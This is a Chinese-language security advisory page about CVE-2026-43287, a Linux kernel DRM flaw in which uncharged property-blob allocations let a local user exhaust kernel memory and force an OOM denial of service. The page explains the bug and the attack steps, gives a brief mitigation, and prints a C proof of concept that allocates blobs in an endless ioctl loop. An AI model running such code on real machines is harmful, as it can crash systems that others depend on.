IPBUF安全漏洞报告
English
CVE-2026-43287 CVSS 5.5 中危

CVE-2026-43287: Linux内核DRM内存分配拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43287
漏洞类型
资源耗尽, 拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务资源耗尽DRM本地漏洞CVE-2026-43287

漏洞概述

Linux内核DRM子系统存在安全漏洞。DRM_IOCTL_MODE_CREATEPROPBLOB接口允许用户空间分配任意大小的属性blob,但该内核内存分配未正确计入调用进程的内存控制组。这使得低权限本地用户能够无限制地消耗内核内存,可能导致系统级内存耗尽(OOM),进而造成系统拒绝服务,严重影响系统可用性。

技术细节

漏洞源于Linux内核DRM子系统的内存分配机制。在处理DRM_IOCTL_MODE_CREATEPROPBLOB ioctl调用时,内核使用`drm_property_create_blob`函数为用户空间请求的属性数据分配内核内存。关键问题在于该分配操作未使用`GFP_KERNEL_ACCOUNT`标志进行标记。

`GFP_KERNEL_ACCOUNT`标志的作用是将内核内存分配计入调用进程的内存控制组。由于缺少该标志,分配的内存不受cgroup内存限制的约束。这使得低权限攻击者能够通过编写恶意程序,循环调用该接口并请求大尺寸的内存块,从而绕过现有的资源配额限制。

随着攻击的持续,内核可分配的内存将被大量耗尽,最终触发系统的OOM(Out of Memory)机制。OOM Killer可能会强制终止系统中的关键进程,导致系统崩溃、卡死或重启,从而实现拒绝服务攻击。该漏洞的利用不需要用户交互,攻击门槛较低。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获取本地系统的低权限用户访问权限。
STEP 2
步骤2:打开DRM设备
攻击者打开DRM设备文件(如/dev/dri/card0),准备与内核进行交互。
STEP 3
步骤3:恶意调用IOCTL
攻击者编写程序循环调用DRM_IOCTL_MODE_CREATEPROPBLOB接口,请求分配大尺寸的属性blob内存。
STEP 4
步骤4:绕过内存限制
由于分配未使用GFP_KERNEL_ACCOUNT标志,这些内核内存分配不计入进程的memcg限制,导致内存使用不受控增长。
STEP 5
步骤5:触发系统OOM
内核内存被耗尽,触发OOM Killer,导致系统进程被终止,系统崩溃或重启,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // Define the necessary structures and IOCTLs based on DRM headers #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type) #define DRM_IOCTL_MODE_CREATEPROPBLOB DRM_IOWR(0xB5, struct drm_mode_create_blob) struct drm_mode_create_blob { __u32 data_length; __u32 blob_id; __u64 data; }; int main() { // Attempt to open the DRM device (usually /dev/dri/card0) int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return 1; } printf("Starting CVE-2026-43287 PoC... Consuming kernel memory.\n"); struct drm_mode_create_blob create_blob; // The size of the blob to allocate. // Repeating this to consume unaccounted kernel memory. size_t blob_size = 1024 * 1024; // 1MB per allocation // Dummy data pointer (kernel allocates memory based on length) create_blob.data = (unsigned long)NULL; create_blob.data_length = blob_size; int count = 0; while (1) { int ret = ioctl(fd, DRM_IOCTL_MODE_CREATEPROPBLOB, &create_blob); if (ret < 0) { perror("Ioctl failed"); break; } count++; if (count % 100 == 0) { printf("Allocated %d blobs (%zu MB total)\n", count, count * blob_size / (1024*1024)); } } close(fd); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
限制非特权用户对DRM设备文件的访问权限(如通过udev规则),或严格监控本地进程的内存使用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表